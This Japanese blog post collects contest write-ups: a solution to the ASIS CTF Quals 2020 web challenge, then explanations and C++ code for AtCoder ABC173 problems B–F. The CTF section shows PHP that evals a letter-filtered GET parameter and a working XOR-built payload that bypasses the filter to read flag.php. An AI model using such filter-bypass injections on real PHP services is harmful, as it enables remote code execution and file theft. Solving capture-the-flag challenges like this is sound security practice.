はまやんはまやんはまやん

hamayanhamayan's blog

Japan Tech News #031 2020/07/06

hamayanhamayanがインターネットを巡回して得た情報まとめ。 "Japan"と言うには主語が大きすぎる。

Hottest

競技プログラミング

セキュリティ / CTF

☕ 技術 / 雑多

[emoji:813] 音楽 / エンタメ / デザイン

[emoji:190] 流し見

Web Warm-up [ASIS CTF Quals 2020]

CTFtime.org / ASIS CTF Quals 2020 / Web Warm-up

Warm up! Can you break all the tasks? I'll pray for you!
read flag.php
Link: http://69.90.132.196:5003/?view-source

ソースコードを見せてくれる。

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}

アルファベットが使えず60文字以内に納めないといけないみたい。
ググる
[PHP-CTF] No letter without digital webshell - Programmer Sought
これはよさそう。

色々やってみて、以下でフラグが取れた。

?warmup=$__="`{{{"^"?<>/";${$__}[%27_%27](${$__}[%27__%27]);&_=highlight_file&__=flag.php

Intervals on Tree [AtCoder Beginner Contest 173 F]

https://atcoder.jp/contests/abc173/tasks/abc173_f

解説

https://atcoder.jp/contests/abc173/submissions/15025119

さて、まずはf(L,R)というのが提示されているので、これについて考えていこう。

f(L,R)

連結成分の個数についての典型がある。
閉路が存在しないならば「連結成分の個数 = 頂点数 - 辺の数」が成り立つ。
競技プログラミングにおける細かな話題まとめ - はまやんはまやんはまやん
まあ、よーく観察してみると確かにとなるのだが、これを知っているとそうでないとでは、だいぶ初動に差が出ると思う。
つまり、以下のように変換して考えることができる。
f(L,R) := (R-L+1) - (両端が[L,R]にある辺の個数)
よって、求めたい答えは
((R-L+1)の二重和) - ((両端が[L,R]にある辺の個数)の二重和)
と考えられる。

(R-L+1)の二重和

これは単純で、Lを全探索してみると、
L=1のとき、1,2,3,4,...,Nであり、N(N+1)/2
L=2のとき、1,2,3,...,N-1であり、(N-1)
N/2
...
L=Nのとき、1であり、1
みたいに初項1公差1の等差数列の和を順番に計算して、足し合わせていけばいい。

(両端が[L,R]にある辺の個数)の二重和

問題はこっちであるが、主客転倒テクを使おう。
「全ての区間に対して、両端が[L,R]にある辺の個数を求める」と間に合わないが、
「全ての辺に対して、その辺が何通りの区間に含まれるか」を計算することにしよう。

分からない人向けに言い回しを少し変えて書いておく。
- 全ての区間に対して、「両端がその区間に含まれる辺の個数」の総和
- 全ての辺に対して、「その辺が含まれる区間の個数」の総和
この2つは結果が同じになる。

なので、ある辺に対して、その辺が含まれる区間の総和は、辺の両端をU<Vと仮定すると、
区間[L,R]は
- 1≦L≦U
- V≦R≦N
を満たす必要があり、かつ、これを満たしていれば必ず含む。
なので、
- 1≦L≦U → U通り
- V≦R≦N → N-V+1通り
なので、U*(N-V+1)通りが「その辺が含まれる区間の個数」である。
あとは、これの総和を取ると、(両端が[L,R]にある辺の個数)の二重和が得られる。

これで「((R-L+1)の二重和) - ((両端が[L,R]にある辺の個数)の二重和)」が求められるのでAC

int N, U[201010], V[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N - 1) cin >> U[i] >> V[i];

    ll ans = 0;
    rep(L, 1, N + 1) ans += 1LL * L * (L + 1) / 2;
    rep(i, 0, N - 1) {
        if (U[i] > V[i]) swap(U[i], V[i]);
        ans -= 1LL * U[i] * (N - V[i] + 1);
    }
    cout << ans << endl;
}

Multiplication 4 [AtCoder Beginner Contest 173 E]

https://atcoder.jp/contests/abc173/tasks/abc173_e

解説

https://atcoder.jp/contests/abc173/submissions/15024432

貪欲法。コーナーケースが多く、実装も大変。

まず簡単な問題で考えてみる。
全て正の数であれば、数が大きいものから貪欲にK個とっていけばいい。
今回は負の数があるのが、問題。
負の数であっても、絶対値が大きいものから貪欲にK個とって、総積が正であれば、最善であるのは明らかである。
総積が負の場合、次のどちらかの操作を行って大きいものが最適な選び方となる。

  1. 既に選択済みの負の数(m1)を取り除いて、選択されていない最大の正の数か0(p1)を入れる
  2. 既に選択済みの正の数(p2)を取り除いて、選択されていない最小の負の数か0(m2)を入れる

このとき、どちらの方が結果が良くなるかは、abs(p1/m1)とabs(m2/p2)を比較すればいい。
絶対値が大きいほうが最適なので、方針1の方がいい条件は、
abs(p1/m1) > abs(m2/p2)
absは使えないので展開するのだが、どちらも正と負の割り算なので、全体は負となる。よって、absを展開すると、不等号は逆転して、
p1/m1 < m2/p2
整数で割ると誤差が出るので、×m1p2で分数を消す。これは負の数なので、不等号は逆転して、
p1p2 > m1m2
これを判断材料とする。

どちらの方針がやれるかどうかも判定して場合分けする。

ok1 := 方針1ができる
ok2 := 方針2ができる

なお、どちらの方針もできない場合は、配列Aが全て負の数の場合である(コーナーケース)。
その場合は、絶対値が大きいものからK個選ぶと、負の数として小さくなってしまうので、絶対値が小さいものからK個選ぶことにする。

int N, K, A[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) cin >> A[i];
    sort(A, A + N, [&](int a, int b) { return abs(a) > abs(b); });

    int cnt = 0;
    mint ans = 1;

    rep(i, 0, K) {
        if (A[i] < 0) cnt++;
        ans *= mint(A[i]);
    }

    if (cnt % 2 == 1) {
        // 負→正
        int m1 = inf, p1 = inf;
        rep(i, 0, K) if (A[i] < 0) m1 = A[i];
        rep(i, K, N) if (0 <= A[i]) {
            p1 = A[i];
            break;
        }
        bool ok1 = (m1 != inf) && (p1 != inf);

        // 正→負
        int p2 = inf, m2 = inf;
        rep(i, 0, K) if (0 < A[i]) p2 = A[i];
        rep(i, K, N) if (A[i] <= 0) {
            m2 = A[i];
            break;
        }
        bool ok2 = (m2 != inf) && (p2 != inf);

        if (ok1 && ok2) {
            if (1LL * p1 * p2 > 1LL * m1 * m2) ans = ans * p1 / m1; // 負→正がいい
            else ans = ans * m2 / p2; // 正→負がいい
        }
        else if(ok1) ans = ans * p1 / m1;
        else if(ok2) ans = ans * m2 / p2;
        else {
            sort(A, A + N, greater<int>());
            ans = 1;
            rep(i, 0, K) ans *= A[i];
        }
    }

    cout << ans << endl;
}

Chat in a Circle [AtCoder Beginner Contest 173 D]

https://atcoder.jp/contests/abc173/tasks/abc173_d

解説

https://atcoder.jp/contests/abc173/submissions/15023990

難しい問題。
「N人の到着順番や割り込む位置を適切に決める」とあるが、決めるべきことが多すぎる。
こういう時は、固定できそうな所を探すといい。
以下、未証明。

一部固定する

まず、到着順番は降順で入れていくのがいい。
(これはある降順でない順番があったときに、
それを大小関係を維持しつつ降順に言い換えたときに状況が同じか改善されるかのどちらかであるため。)
理由についてはあまり気にしなくてもいいかも。
この程度の仮定がないと解くのは難しい。

貪欲法

次に割り込む位置であるが、複雑なルールは作りたくないので、実験でとりあえず貪欲にやってみる。
すると、昇順でA,B,C,D,E,...となった場合に、
0+A+B+B+C+C+D+D+E+E+...
のようになっていることが実験で分かる。
完全二分木っぽく自分は考えた。
あとは、これを実装するだけ。

int N, A[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    sort(A, A + N, greater<int>());

    ll ans = A[0];
    rep(i, 0, N - 2) ans += 1LL * A[i / 2 + 1];
    cout << ans << endl;
}

H and V [AtCoder Beginner Contest 173 C]

https://atcoder.jp/contests/abc173/tasks/abc173_c

解説

https://atcoder.jp/contests/abc173/submissions/15023668

実装問題であるが、bit全探索の書き方を知らない場合は解くのは難しいだろう。
どこかで勉強してから、この問題に戻ってくること。

この行と列の選び方は実は全探索可能である。
H=W=6の最大ケースで試しても、選び方は212通り。
これは4000通りくらいなので、bit全探索を使って全探索しよう。
あとは、選ばれた行と列は赤色で塗りつぶして、黒色部分をカウントしてK個なら答えをインクリメントするといい。

int H, W, K;
string c[6];
string c2[6];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W >> K;
    rep(y, 0, H) cin >> c[y];

    int ans = 0;
    rep(mskH, 0, 1 << H) rep(mskW, 0, 1 << W) {
        rep(y, 0, H) c2[y] = c[y];
        rep(y, 0, H) if (mskH & (1 << y)) rep(x, 0, W) c2[y][x] = 'R';
        rep(x, 0, W) if (mskW & (1 << x)) rep(y, 0, H) c2[y][x] = 'R';

        int cnt = 0;
        rep(x, 0, W) rep(y, 0, H) if (c2[y][x] == '#') cnt++;
        if (cnt == K) ans++;
    }
    cout << ans << endl;
}

Judge Status Summary [AtCoder Beginner Contest 173 B]

https://atcoder.jp/contests/abc173/tasks/abc173_b

解説

https://atcoder.jp/contests/abc173/submissions/15023533

実装問題。
問題に書かれている文字列を間違えて記載してしまうのは一番悲しいので、
必ずコピペで持ってこよう。
あとは、4種類についてはmapでカウントして、それぞれ答える。
mapはstringをkeyにできるので便利。覚えておこう。

int N;
string S[101010];
vector<string> v = { "AC", "WA", "TLE", "RE" };
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> S[i];

    map<string, int> C;
    rep(i, 0, N) C[S[i]]++;

    fore(x, v) printf("%s x %d\n", x.c_str(), C[x]);
}